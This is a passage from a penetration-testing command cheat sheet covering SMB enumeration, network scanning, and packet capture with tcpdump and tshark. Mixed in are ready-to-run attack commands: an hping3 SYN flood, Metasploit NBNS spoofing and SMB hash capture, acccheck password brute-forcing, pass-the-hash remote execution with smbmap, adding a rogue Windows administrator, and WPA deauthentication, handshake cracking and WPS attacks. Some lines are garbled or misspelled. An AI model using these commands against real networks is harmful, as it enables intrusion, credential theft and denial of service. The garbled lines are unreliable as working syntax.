  5687. hping3 -S -p 25 -c 5 host Send 5 TCP packets, with the SYN flag set, to port 25 of remote host
  5688. hping3 --scan 1-1024 -S host Perform a SYN scan on ports 1 to 1024 against the remote host
  5689. hping3 --udp --rand-source --data 512 host Send UDP packets with random source address and a data body size
  5690. of 512 bytes
  5691. hping3 -S -p 80 --flood host Perform a TCP SYN flood DoS attack against a webserver
  5692. hping3 -A -p 25 host
  5693.  
  5694.  
  5695.  
  5696.  
  5697. smb:// ip /share                            ## Access windows smb share
  5698. share user x.x.x.x c$                       ## Mount Windows share
  5699. smbclient -0 user\\\\ ip \\ share           ## Sl1B connect
  5700.  
  5701. /var/log/messages | grep DHCP               ## List DHCP assignments
  5702. echo "1" /proc/sys/net/ipv4/ip forward      ## Turn on IP Forwarding
  5703.  
  5704. scp /tmp/$File user@x.x.x.x:/tmp/$File        ## Put file
  5705. scp user@ remoteip :/tmp/$File /tmp/$File     Get file
  5706.  
  5707.  
  5708.  
  5709.  
  5710. ##-====================================-##
  5711. ##   [+] Service Message Block (SMB)
  5712. ##-====================================-##
  5713. systemctl enable smb
  5714. systemctl start
  5715. systemctl status smb
  5716.  
  5717.  
  5718.  
  5719. ##-=============================-##
  5720. ##  [+]
  5721. ##-=============================-##
  5722. smbclient -L\\ -N -I $IP
  5723. smbclient -L //localhost -U $User
  5724.  
  5725.  
  5726. ##-================================-##
  5727. ##  [+] Provide the target host:
  5728. ##-================================-##
  5729. smbclient -L\\ -N -I $1 2>&1 | tee "smbclient_$1.txt"
  5730.  
  5731.  
  5732.  
  5733. smbclient //MOUNT/share -I target -N
  5734.  
  5735.  
  5736.  
  5737.  
  5738. ##-================================-##
  5739. ##  [+] Mount SMB/CIFS shares
  5740. ##-================================-##
  5741. mount.cifs // ip /share /mnt/share -o user=$User,pass=$Pass,sec=ntlrnssp,domain=$Domain,rw
  5742.  
  5743.  
  5744. mount -t cifs -o username=$User,password=$Pass //serverip/share_name /mnt/mountlocation
  5745.  
  5746. /etc/fstab
  5747. //serverip/share_name /mnt/mountlocation cifs username=$User,password=$Pass 0 0
  5748.  
  5749.  
  5750. ##-====================================-##
  5751. ##  [+] Mount Remote Windows Share:
  5752. ##-====================================-##
  5753. smbmount //X.X.X.X/c$ /mnt/remote/ -o username=$User,password=$Pass,rw
  5754.  
  5755.  
  5756.  
  5757. ##-=============================-##
  5758. ##  [+]
  5759. ##-=============================-##
  5760. ## Samba file share on the Samba server,
  5761. ## the one client user is added to the tdbsam user database
  5762.  
  5763. smbpasswd -a $User
  5764.  
  5765.  
  5766.  
  5767. ##-=========================================================-##
  5768. ##  [?] user accounts are displayed using a short listing
  5769.  
  5770. pdbedit -L
  5771.  
  5772.  
  5773.  
  5774. ##-==========================-##
  5775. ## -------------------------- ##
  5776. ##   [+] SMB Enumeration
  5777. ## -------------------------- ##
  5778. ##-==========================-##
  5779.  
  5780.  
  5781.  
  5782. ##-==========================-##
  5783. ##   [+] SMB OS Discovery
  5784. ##-==========================-##
  5785. nmap $ip --script smb-os-discovery.nse
  5786.  
  5787. ##-==========================-##
  5788. ##   [+] Nmap port scan
  5789. ##-==========================-##
  5790. nmap -v -p 139,445 -oG $File.txt $IP-254
  5791.  
  5792. ##-======================================-##
  5793. ##   [+] Netbios Information Scanning
  5794. ##-======================================-##
  5795. nbtscan -r $IP/24               ## Netbios Information Scanning
  5796.  
  5797. ##-=====================================================-##
  5798. ##   [+] Netbios Scan - Tee Output To Console +_File:
  5799. ##-=====================================================-##
  5800. nbtscan -rvh $IP 2>&1 | tee "nbtscan-$IP.txt"
  5801.  
  5802.  
  5803. ##-===========================================-##
  5804. ##   [+] Nmap find exposed Netbios servers
  5805. ##-===========================================-##
  5806. nmap -sU --script nbstat.nse -p 137 $IP
  5807.  
  5808. ##-======================================-##
  5809. ##   [+] Nmap all SMB scripts scan
  5810. ##-======================================-##
  5811. nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script args=unsafe=1 $IP
  5812.  
  5813. ##-=================================================-##
  5814. ##   [+] Nmap all SMB scripts authenticated scan
  5815. ##-=================================================-##
  5816. nmap -sV -Pn -vv -p 445 --script-args smbuser=$User,smbpass=$Pass --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
  5817.  
  5818.  
  5819.  
  5820.  
  5821.  
  5822.  
  5823.  
  5824. ##-==================================-##
  5825. ##   [+] SMB Enumeration Tools
  5826. ##-==================================-##
  5827. nmblookup -A $IP
  5828.  
  5829. smbclient //MOUNT/share -I $IP -N
  5830.  
  5831. rpcclient -U "" $IP
  5832.  
  5833. enum4linux $IP
  5834. enum4linux -a $IP                       ## Do all simple enumeration
  5835. smbtree -NS 2>/dev/null                 ## smb network browser
  5836.  
  5837. smbgetserverinfo -v -i $IP
  5838. smbdumpusers -i $IP
  5839.  
  5840.  
  5841.  
  5842. smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1
  5843. smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
  5844. smbmap -u 'apadmin' -p 'asdf1234!' -d ACME -H 10.1.3.30 -x 'net group "Domain Admins" /domain'
  5845.  
  5846. ##-===============================-##
  5847. ##   [+] SMB Finger Printing
  5848. ##-===============================-##
  5849. smbclient -L //$IP
  5850.  
  5851. ##-======================================-##
  5852. ##   [+] Nmap Scan for Open SMB Shares
  5853. ##-======================================-##
  5854. nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=$User,smbpass=$Pass -p445 192.168.10.0/24
  5855.  
  5856. ##-================================================-##
  5857. ##   [+] Nmap scans for vulnerable SMB Servers
  5858. ##-================================================-##
  5859. nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $IP
  5860.  
  5861.  
  5862. nmap --script="+*smb* and not brute and not dos and not fuzzer" -p 139,445 -oN smb-vuln $ip
  5863.  
  5864.  
  5865.  
  5866. ##-==============================-##
  5867. ##   [+] NBNS Spoof / Capture
  5868. ##-==============================-##
  5869.  
  5870. ##-=====================-##
  5871. ##   [+] NBNS Spoof
  5872. ##-=====================-##
  5873. msf > use auxiliary/spoof/nbns/nbns_response
  5874. msf auxiliary(nbns_response) > show options
  5875. msf auxiliary(nbns_response) > set INTERFACE eth0
  5876. msf auxiliary(nbns_response) > set SPOOFIP 10.10.10.10
  5877. msf auxiliary(nbns_response) > run
  5878.  
  5879.  
  5880. ##-=====================-##
  5881. ##   [+] SMB Capture
  5882. ##-=====================-##
  5883. msf > use auxiliary/server/capture/smb
  5884. msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb
  5885. msf auxiliary(smb) > run
  5886.  
  5887.  
  5888.  
  5889.  
  5890.  
  5891. ## ----------------------------------------------------------------------- ##
  5892. ##   [?] accceck - Windows Password dictionary attack tool for SMB
  5893. ## ----------------------------------------------------------------------- ##
  5894. acccheck.pl -T $SMBIPs.txt -v >> $File.txt
  5895.  
  5896.  
  5897. ##-=====================================================================-##
  5898. ##   [+] Attempt the 'Administrator' account with a [BLANK] password:
  5899. ##-=====================================================================-##
  5900. acccheck -t $IP
  5901.  
  5902. ##-=====================================================================================-##
  5903. ##   [+] Attempt all passwords in 'password.txt' against the 'Administrator' account:
  5904. ##-=====================================================================================-##
  5905. acccheck -t $IP -P $File.txt
  5906.  
  5907.  
  5908. ##-================================================================================-##
  5909. ##   [+] Attempt all password in 'password.txt' against all users in 'users.txt':
  5910. ##-================================================================================-##
  5911. acccehck -t $IP -U $UsersFile.txt -P $PassFile.txt
  5912.  
  5913. ##-=========================================================-##
  5914. ##   [+] Attempt a single password against a single user:
  5915. ##-=========================================================-##
  5916. acccheck -t $IP -u $User -p $Pass
  5917.  
  5918.  
  5919.  
  5920. ##-==================================================-##
  5921. ##   [+] Search The NMap Directory For SMB Scripts
  5922. ##-==================================================-##
  5923. ls /usr/share/nmap/scripts/* | grep smb
  5924.  
  5925.  
  5926.  
  5927. ##-===============================-##
  5928. ##   [+] Netbios Enumeration
  5929. ##-===============================-##
  5930. nbtscan -r $IP/24                               ## Netbios Information Scanning
  5931. nbtscan -r 192.168.0.1-100
  5932. nbtscan -f $HostFile.txt
  5933.  
  5934.  
  5935. ##-===================================-##
  5936. ##   [+] Null Session in Windows
  5937. ##-===================================-##
  5938. net use \\192.168.0.1\IPC$ "" /u:""
  5939.  
  5940. ##-================================-##
  5941. ##   [+] Null Session in Linux
  5942. ##-================================-##
  5943. smbclient -L //192.168.99.131
  5944.  
  5945. smbclient -L=10.0.2.15
  5946. smbclient \\\\10.0.2.15\\tmp
  5947.  
  5948.  
  5949. ##-==============================-##
  5950. ##   [+] Windows Information
  5951. ##-==============================-##
  5952. ipconfig /all
  5953. systeminfo
  5954. net localgroup administrators
  5955. net view
  5956. net view /domain
  5957.  
  5958. ##-==========================-##
  5959. ##   [+] Add Windows User
  5960. ##-==========================-##
  5961. net user $User password@1 /add
  5962. net localgroup administrators username /add
  5963.  
  5964.  
  5965. List existing group mapping entries.
  5966. net groupmap list
  5967.  
  5968.  
  5969. ##  Perform a raw LDAP search on a ADS server and dump the results
  5970. net ads search '(objectCategory=group)' sAMAccountName
  5971.  
  5972. ##  The LDAP DN and the attributes are a list of
  5973. ##  LDAP fields to show in the result
  5974. net ads dn 'CN=administrator,CN=Users,DC=my,DC=domain' SAMAccountName
  5975.  
  5976.  
  5977.  
  5978. net getauthuser             ## Get the current winbind auth user settings.
  5979. net status shares           ##
  5980. net printing dump           ## Dump tdb printing file
  5981.  
  5982. net rap service             ## List services on remote server
  5983. net rap service start       ## Start service on remote server
  5984. net rap service stop        ## Stop named serve on remote server
  5985.  
  5986.  
  5987. --user=$User                ## user name
  5988. --server=$Server            ## server name
  5989. --workgroup=$Workgroup      ##
  5990. --ipaddress=$IP             ## address of target server
  5991. --machine-pass $Pass        ## Authenticate as machine account
  5992. --encrypt                   ## Encrypt SMB transport
  5993.  
  5994.  
  5995.  
  5996.  
  5997.  
  5998.  
  5999.  
  6000.  
  6001. net usershare add $ShareName $Path [comment [acl] [guest_ok=[y|n]]] - to add or change a user defined share.
  6002. net usershare delete sharename - to delete a user defined share.
  6003. net usershare info [-l|--long] [wildcard sharename] - to print info about a user defined share.
  6004. net usershare list [-l|--long] [wildcard sharename] - to list user defined shares.
  6005.  
  6006. net [rpc] conf list - Dump the complete configuration in smb.conf like format.
  6007. net [rpc] conf import - Import configuration from file in smb.conf format.
  6008. net [rpc] conf listshares - List the registry shares.
  6009. net [rpc] conf drop - Delete the complete configuration from registry.
  6010. net [rpc] conf showshare - Show the definition of a registry share.
  6011. net [rpc] conf addshare - Create a new registry share.
  6012. net [rpc] conf delshare - Delete a registry share.
  6013. net [rpc] conf setparm - Store a parameter.
  6014. net [rpc] conf getparm - Retrieve the value of a parameter.
  6015. net [rpc] conf delparm - Delete a parameter.
  6016. net [rpc] conf getincludes - Show the includes of a share definition.
  6017. net [rpc] conf setincludes - Set includes for a share.
  6018. net [rpc] conf delincludes - Delete includes from a share definition.
  6019.  
  6020.  
  6021. net ads enctypes list Computername          ## List the value of the "msDS-SupportedEncryptionTypes" attribute
  6022.  
  6023. net dom join - Join a remote computer into a domain.
  6024. net dom unjoin - Unjoin a remote computer from a domain.
  6025. net dom join -S xp -U XP\\administrator%secret domain=MYDOM account=MYDOM\\administrator password=topsecret reboot
  6026.  
  6027. net eventlog dump - Dump a eventlog *.evt file on the screen
  6028.  
  6029.  
  6030.  
  6031. net registry enumerate              #[?] Enumerate registry keys and values.
  6032. net registry enumerate_recursive    #[?] Enumerate registry key and its subkeys.
  6033. net registry createkey              #[?] Create a new registry key.
  6034. net registry deletekey              #[?] Delete a registry key.
  6035. net registry deletekey_recursive    #[?] Delete a registry key with subkeys.
  6036. net registry getvalue               #[?] Print a registry value.
  6037. net registry getvalueraw            #[?] Print a registry value (raw format).
  6038. net registry setvalue               #[?] Set a new registry value.
  6039. net registry increment              #[?] Increment a DWORD registry value under a lock.
  6040. net registry deletevalue            #[?] Delete a registry value.
  6041. net registry getsd                  #[?] Get security descriptor.
  6042. net registry getsd_sdd1             #[?] Get security descriptor In sddl format.
  6043. net registry setsd_sdd1             #[?] Set security descriptor from sddl format string.
  6044. net registry import                 #[?] Import a registration entries (.reg) file.
  6045. net registry export                 #[?] Export a registration entries (.reg) file.
  6046. net registry convert                #[?] Convert a registration entries (.reg) file.
  6047. net registry check                  #[?] Check and repair a registry database.
  6048.  
  6049.  
  6050.  
  6051.  
  6052. systemctl start slapd.service
  6053. systemctl enable slapd.service > /dev/null 2>&1
  6054. slappasswd -s 1234 -n > /etc/openldap/passwd
  6055.  
  6056.  
  6057. Anonymous Bind:
  6058. ldapsearch -h ldaphostname -p 389 -x -b "dc=domain,dc=com"
  6059.  
  6060. Authenticated:
  6061. ldapsearch -h 192.168.0.60 -p 389 -x -D "CN=Administrator, CN=User, DC=<domain>, DC=com" -b "DC=<domain>, DC=com" -W
  6062.  
  6063.  
  6064.  
  6065. Look for anonymous bind
  6066. ldapsearch -x -b "dc=megabank,dc=local" "*" -h $ip
  6067.  
  6068.  
  6069.  
  6070. slapcat -v -l backup_ldap.ldif
  6071.  
  6072.  
  6073. ps -ef | grep slapd
  6074.  
  6075. /etc/default/slapd
  6076. /etc/ldap/
  6077. ldap.conf       --> basic server config
  6078. sasl2/          --> SASL2 authentication support
  6079. schema/         --> default schemas
  6080. slapd.d/        --> new/modified items/ldifs data - do not edit manually, use instead: slapd-config, ldapadd, ldapmodify, ldapdelete,ldapsearch, etc ('dpkg -L ldap-utils' to get a list of all client commands and other files)
  6081. /var/lib/ldap   --> DB directory. Contains DITs, ex:
  6082.  
  6083. cn=config (default)     - root of configuration of LDAP instance server wide.
  6084. dc=frozza, dc=com
  6085.  
  6086. /var/run/slapd/
  6087. slapd.pid       --> current pid
  6088. slapd           --> arguments used during invocation
  6089. ldapi           --> UDS
  6090.  
  6091. netstat -ntl    --> shows tcp 389
  6092.  
  6093.  
  6094. ##-======================================-##
  6095. ##   [+] OpenVAS Vulnerability Scanner
  6096. ##-======================================-##
  6097.  
  6098. ##-==============================-##
  6099. ##   [+] OpenVAS Initial Setup
  6100. ##-==============================-##
  6101.  
  6102.  
  6103. ##-==============================-##
  6104. ##   [+] run the initial setup
  6105. ##-==============================-##
  6106. openvas-setup
  6107.  
  6108.  
  6109. ##-==================-##
  6110. ##   [+] add user
  6111. ##-==================-##
  6112. openvas-adduser
  6113.  
  6114.  
  6115. ##-=====================================================-##
  6116. ##   [+] launch Greenbone Security Desktop and log in
  6117. ##-=====================================================-##
  6118. gsd
  6119.  
  6120.  
  6121. ##-=================-##
  6122. ##   [+] OpenVAS
  6123. ##-=================-##
  6124. openvas-setup
  6125. https://localhost:9392
  6126.  
  6127.  
  6128.  
  6129.  
  6130. openvas-check-setup
  6131. openvas-stop
  6132. openvas-start
  6133. openvasmd --user=$User --new-password=$Pass
  6134. openvasmd --create-user $User
  6135.  
  6136.  
  6137.  
  6138.  
  6139.  
  6140.  
  6141.  
  6142.  
  6143. ##-===============================-##
  6144. ##   [+] Vulnerability Scanning
  6145. ##-===============================-##
  6146. nmap -Pn -sT -sU  -p $ports --script=*vuln*  -vv -oN nmap_vuln  $ip
  6147.  
  6148.  
  6149.  
  6150.  
  6151.  
  6152.  
  6153. airmon-ng start wlan0               ## put your network device into monitor mode
  6154.  
  6155. listen for all nearby beacon frames to get target BSSID and channel
  6156.  
  6157. airodump-ng mon0
  6158.  
  6159.  
  6160. airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
  6161.  
  6162. aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt $File.cap
  6163.  
  6164. aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
  6165. aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
  6166.  
  6167.  
  6168. # put your network device into monitor mode
  6169. airmon-ng start wlan0
  6170.  
  6171. # listen for all nearby beacon frames to get target BSSID and channel
  6172. airodump-ng mon0
  6173.  
  6174. # start listening for the handshake
  6175. airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
  6176.  
  6177. # optionally deauth a connected client to force a handshake
  6178. aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
  6179.  
  6180. # crack w/ aircrack-ng
  6181. aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/$File.cap
  6182.  
  6183.  
  6184.  
  6185.  
  6186. Reaver
  6187. ------
  6188.  
  6189. airmon-ng start wlan0
  6190. airodump-ng wlan0
  6191. reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
  6192. reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -S --no-nacks -d7 -vv -c 1
  6193.  
  6194.  
  6195. Pixie WPS
  6196. ---------
  6197.  
  6198. airmon-ng check
  6199. airmon-ng start wlan0
  6200. airodump-ng mon0 --wps
  6201. reaver -i wlan0mon -c 11 -b 00:00:00:00:00:00 -K 1
  6202.  
  6203.  
  6204.  
  6205.  
  6206. ##-=========================-##
  6207. ##   [+] types of scans:
  6208. ##-=========================-##
  6209.  
  6210. - **Ping sweeps**: Send a variety of packet types (including ICMP Echo Requests, but many others as well).
  6211. - **ARP scans**: Identify which hosts are on the same LAN as the machine running Nmap. The ARP scan does not work through a router, because ARP traffic just goes on a single LAN.
  6212. - **Connect scans**: Complete the three-way handshake; are slow and easily detected. Because the entire handshake is completed for each port in the scan, the activities are often logged on the target system.
  6213. - **SYN scans**: Only send the initial SYN and await the SYN-ACK response to determine if a port is open. The final ACK packet from the attacker is never sent. The result is an increase in performance and a much more stealthy scan. Because most host systems do not log a connection unless it completes the three-way handshake, the scan is less likely to be detected (NOT ANYMORE).
  6214. - **ACK scans**: Particularly useful in getting through simple router-based firewalls. If a router allows “established” connections in (and is not using any stateful inspection), an attacker can use ACK scans to send packets into the network. ACK scans are useful for mapping, but not for port scanning.
  6215. - **FIN scans**: Send packets with the FIN control bit set in an effort to be stealthy and get through firewalls.
  6216. - **FTP Proxy “Bounce Attack” scans**: Bounce an attack off a poorly configured FTP server.
  6217. - **“Idle” scans**: This scan type can be used to divert attention, obscuring the attackers location on the network.
  6218. - **UDP scanning**: Helps locate vulnerahle UDP services. For most UDP ports, Nmap sends packets with an empty payload. But, for about a dozen specific ports, Nrnap includes an application-appropriate payload for the given port, including UDP port 53 (DNS), 111 (portmapper). 161 (SNMP), etc.
  6219. - **Version scanning**: Tries to detemine the version number of the program listening on a discovered port for both TCP and UDP.
  6220. - **IPv6 scanning**: Iterates through a series of lPv6 addresses, scanning for target systems and ports, invoked with the “-6” syntax. Today, all Nmap scan types support a -6 option. In older versions of Nmap, IPv6 scans were limited to ping sweeps to identify target host addresses in use, TCP connect scans, and version scans only.
  6221. - **RPC scanning**: Identifies which Remote Procedure Call services are offered by the target machine.
  6222. - **TCP sequence prediction**: Useful in spooling attacks, as we shall see in a short while.
  6223.  
  6224.  
  6225.  
  6226.  
  6227. # Nmap enumerate SSL ciphers on remote host/port
  6228. $ nmap -Pn -p 5986 --script=ssl-enum-ciphers <TARGET>
  6229.  
  6230.  
  6231. # HPING3 Scans
  6232. hping3 -c 3 -s 53 -p 80 -S 192.168.0.1
  6233. # Open = flags = SA
  6234. # Closed = Flags = RA
  6235. # Blocked = ICMP unreachable
  6236. # Dropped = No response
  6237.  
  6238. # Metasploit Auxiliarys:
  6239. metasploit> use auxiliary/gather/dns
  6240.  
  6241.  
  6242.  
  6243. ### Finger - Enumerate Users
  6244.  
  6245. finger @192.168.0.1
  6246. finger -l -p user@ip-address
  6247. metasploit> use auxiliary/scanner/finger/finger_users
  6248.  
  6249.  
  6250.  
  6251.  
  6252.  
  6253. ##-======================================-##
  6254. ##   [+] Get Cisco network information
  6255. ##-======================================-##
  6256. tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
  6257.  
  6258.  
  6259. ##-======================================-##
  6260. ##   [+] analyze traffic remotely over ssh w/ wireshark
  6261. ##-======================================-##
  6262. ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
  6263.  
  6264.  
  6265.  
  6266.  
  6267. tcpdump ‐n ‐r $File.pcap | awk ‐F" " '{print $3}' | sort ‐u | head
  6268.  
  6269.  
  6270.  
  6271. ##-=============================================================-##
  6272. ##   [+] select traffic between helios and either hot or ace:
  6273. ##-=============================================================-##
  6274. host helios and \( hot or ace \)
  6275.  
  6276.  
  6277. ##-======================================================================-##
  6278. ##   [+] select all IP packets between ace and any host except helios:
  6279. ##-======================================================================-##
  6280. ip host ace and not helios
  6281.  
  6282.  
  6283. ##-================================================================-##
  6284. ##   [+] select all ftp traffic through internet gateway snup:
  6285. ##-================================================================-##
  6286. gateway snup and (port ftp or ftp-data)
  6287.  
  6288.  
  6289. ##-==========================================================================-##
  6290. ##   [+] Select traffic neither sourced from nor destined for local hosts
  6291. ##-==========================================================================-##
  6292. ip and not net localnet
  6293.  
  6294.  
  6295. ##-==========================================-##
  6296. ##   [+] select the start and end packets
  6297. ##-==========================================-##
  6298. ## ------------------------------------------------------------ ##
  6299. ##   [?] The SYN and FIN packets of each
  6300. ##       TCP conversation that involves a non-local host.
  6301. ## ------------------------------------------------------------ ##
  6302. tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net localnet
  6303.  
  6304.  
  6305. ##-=========================================================-##
  6306. ##   [+] select all IPv4 HTTP packets to and from port 80
  6307. ##   [+] print only packets that contain data
  6308. ##-=========================================================-##
  6309. ## ---------------------------------------------------------------------- ##
  6310. ##   [?] for example, not SYN and FIN packets and ACK-only packets.
  6311. ## ---------------------------------------------------------------------- ##
  6312. tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)
  6313.  
  6314.  
  6315. ##-===================================================-##
  6316. ##   [+] select IP packets longer than 576 bytes
  6317. ##   [+] sent through gateway snup:
  6318. ##-===================================================-##
  6319. gateway snup and ip[2:2] > 576
  6320.  
  6321.  
  6322. ##-=================================================================-##
  6323. ##   [+] select IP broadcast or multicast packets
  6324. ##   [+] that were not sent via Ethernet broadcast or multicast:
  6325. ##-=================================================================-##
  6326. ether[0] & 1 = 0 and ip[16] >= 224
  6327.  
  6328.  
  6329. ##-===================================================================-##
  6330. ##   [+] select all ICMP packets that are not echo requests/replies
  6331. ##-===================================================================-##
  6332. ## ---------------------------------- ##
  6333. ##   [?] (i.e., not ping packets)
  6334. ## ---------------------------------- ##
  6335. icmp[icmptype] != icmp-echo and icmp[icmptype] != icmp-echoreply
  6336.  
  6337.  
  6338. ##-====================================-##
  6339. ##   [+] catch all multicast traffic
  6340. ##-====================================-##
  6341. 'ether[0] & 1 != 0'
  6342.  
  6343.  
  6344. ##-============================================-##
  6345. ##   [+] catch all IPv4 packets with options
  6346. ##-============================================-##
  6347. 'ip[0] & 0xf != 5'
  6348.  
  6349.  
  6350. ##-===============================================-##
  6351. ##   [+] catch only unfragmented IPv4 datagrams
  6352. ##-===============================================-##
  6353. 'ip[6:2] & 0x1fff = 0'
  6354.  
  6355.  
  6356. ##-==========================================================-##
  6357. ##   [+] match only tcp packets whose source port is $Port
  6358. ##-==========================================================-##
  6359. tcp src port $Port
  6360.  
  6361.  
  6362. ##-====================================-##
  6363. ##   [+]
  6364. ##-====================================-##
  6365. tcp port 21, 'udp portrange 7000-7009', 'wlan addr2 0:2:3:4:5:6'
  6366.  
  6367.  
  6368. ##-====================================-##
  6369. ##   [+]
  6370. ##-====================================-##
  6371. portrange port1-port2
  6372.  
  6373.  
  6374. ##-====================================-##
  6375. ##   [+]
  6376. ##-====================================-##
  6377. port domain
  6378.  
  6379.  
  6380.  
  6381.  
  6382.  
  6383. ##-===================================================-##
  6384. ##   [+]
  6385. ##-===================================================-##
  6386. tcpxtract --file $File.pcap --output $File --device eth0
  6387.  
  6388.  
  6389.  
  6390.  
  6391.  
  6392. ## ------------------------------------------------------------------------------------------------ ##
  6393.     tcpdump -lnni eth0 tcp
  6394. ## ------------------------------------------------------------------------------------------------ ##
  6395.     tcpdump -lnni eth0 port 22
  6396. ## ------------------------------------------------------------------------------------------------ ##
  6397.     tcpdump -lnni eth0 src 10.0.0.10
  6398. ## ------------------------------------------------------------------------------------------------ ##
  6399.     tcpdump -lnni eth0 dst 10.0.0.10
  6400. ## ------------------------------------------------------------------------------------------------ ##
  6401.     tcpdump -lnni eth0 'udp port 53'
  6402. ## ------------------------------------------------------------------------------------------------ ##
  6403.     tcpdump -lnni eth0 'tcp port 443'
  6404. ## ------------------------------------------------------------------------------------------------ ##
  6405.     tcpdump -lnni eth0 'dst 10.0.0.10 and dst port 443'
  6406. ## ------------------------------------------------------------------------------------------------ ##
  6407.     tcpdump -w out.pcap -s 65535 'udp port 53'
  6408. ## ------------------------------------------------------------------------------------------------ ##
  6409.  
  6410.  
  6411.  
  6412. ## ------------------------------------------------------------------------------------------------ ##
  6413.     tcpdump -r $Capture.pcap                             ## Read the file
  6414. ## ------------------------------------------------------------------------------------------------ ##
  6415.     tcpdump -n src host 192.168.2.10 -r $Capture.pcap     ## Filter By Source
  6416. ## ------------------------------------------------------------------------------------------------ ##
  6417.     tcpdump -n dst host 192.168.2.12 -r $Capture.pcap     ## Filter By Destination
  6418. ## ------------------------------------------------------------------------------------------------ ##
  6419.     tcpdump -n port 443 -r $Capture.pcap                  ## Filter By Port
  6420. ## ------------------------------------------------------------------------------------------------ ##
  6421.     tcpdump -nX -r $Capture.pcap                          ## Read the file and dump in hex format
  6422. ## ------------------------------------------------------------------------------------------------ ##
  6423.  
  6424.  
  6425.  
  6426. ##-====================================-##
  6427. ##   [+] convert a .cap file to .txt:
  6428. ##-====================================-##
  6429. tshark -V -r $File > $File
  6430.  
  6431.  
  6432.  
  6433.  
  6434. ## ------------------------------------------------------------------------------------------------ ##
  6435.     tshark -i any -f 'port http' -Y http -l -N nNC      ## HTTP Protocol Traffic
  6436. ## ------------------------------------------------------------------------------------------------ ##
  6437.     tshark -i any -f 'port smtp' -Y smtp -l -N nNC      ## SMTP Protocol Traffic
  6438. ## ------------------------------------------------------------------------------------------------ ##
  6439.     tshark -i any -f 'port imap' -Y imap -l -N nNC      ## IMAP Protocol Traffic
  6440. ## ------------------------------------------------------------------------------------------------ ##
  6441.  
  6442.  
  6443.  
  6444. ##-===========================================-##
  6445. ##          [+] Protocol Statistics:
  6446. ##-===========================================-##
  6447. tshark -r $File -q -z ptype,tree
  6448.  
  6449.  
  6450. ##-============================================-##
  6451. ##              [+] HTTP Statistics
  6452. ##-============================================-##
  6453. tshark -r $File -q -z http,stat,
  6454.  
  6455.  
  6456. ##-===================================================-##
  6457. ##          [+] HTTP Statistics with Rates
  6458. ##-===================================================-##
  6459. tshark -r $File -q -z http,tree
  6460.  
  6461.  
  6462. ##-===================================================-##
  6463. ##          [+] TOP 10 HTTP Request URL
  6464. ##-===================================================-##
  6465. tshark -r $File -R http.request -T fields -e http.host | sed -e 's/?.*$//' | sed -e 's#^\(.*\)\t\(.*\)$#http://\1\2#' | sort | uniq -c | sort -rn | head -n 10
  6466.  
  6467.  
  6468. ##-===================================================-##
  6469. ##          [+] TOP 10 talkers by Source IP
  6470. ##-===================================================-##
  6471. tshark -r $File -T fields -e ip.src | sort | uniq -c | sort -rn | head -10
  6472.  
  6473.  
  6474. ##-===================================================-##
  6475. ##          [+] TOP 10 talkers by DST IP
  6476. ##-===================================================-##
  6477. tshark -r $File -T fields -e ip.dst | sort | uniq -c | sort -rn | head -10
  6478.  
  6479.  
  6480. ##-=====================================================-##
  6481. ##   [+] TOP 10 talkers by port usage or SYN attempts
  6482. ##-=====================================================-##
  6483. tshark -r $File -T fields -e ip.src "tcp.flags.syn==1 && tcp.flags.ack==0" | sort | uniq -c | sort -rn | head -10
  6484.  
  6485.  
  6486. ##-===================================================-##
  6487. ##   [+] HTTP 10 Response Code 200 and Content Type
  6488. ##-===================================================-##
  6489. tshark -r $File -R http.response.code==200 -T fields -e "http.content_type" |sort |uniq -c | sort -rn | head -10
  6490.  
  6491.  
  6492. ##-===================================================-##
  6493. ##      [+] TOP HTTP Host and Request Method
  6494. ##-===================================================-##
  6495. tshark -r $File -R http.host -T fields -e http.host -e http.request.method |sort |uniq -c | sort -rn | head -10
  6496.  
  6497.  
  6498. ##-===================================================-##
  6499. ##          [+] TOP 10 DNS Query DST Host
  6500. ##-===================================================-##
  6501. tshark -r $File -T fields -e dns.qry.name -R "dns.flags.response eq 0" |sort |uniq -c | sort -rn | head -10
  6502.  
  6503.  
  6504. ##-===================================================-##
  6505. ##          [+] TOP 10 DNS Query by Soure IP
  6506. ##-===================================================-##
  6507. tshark -r $File -T fields -e ip.src -R "dns.flags.response eq 0" |sort |uniq -c | sort -rn | head -10
  6508.  
  6509.  
  6510. ##-===================================================-##
  6511. ##          [+] TOP 10 ICMP Conversations
  6512. ##-===================================================-##
  6513. tshark -r $File -V icmp -T fields -e icmp.ident -e ip.src |sort |uniq -c | sort -rn | head -10
  6514.  
  6515.  
  6516.  
  6517. ## ---------------------------------------------------------------------- ##
  6518. ##   [?] Use a filesize-based “ring buffer” of 10 files, 100MB each.
  6519. ##   [?] Overwrite oldest file after 10 files have been created.
  6520. ##   [?] 2nd+ output files will have a digit appended to the filename
  6521. ##   [?] (e.g. “output.pcap0”, output.pcap1”, etc.).
  6522. ## ---------------------------------------------------------------------- ##
  6523. tcpdump -nn -i eth0 -w $File.pcap -C 100 -W 10
  6524.  
  6525.  
  6526. ## ---------------------------------------------------------------------- ##
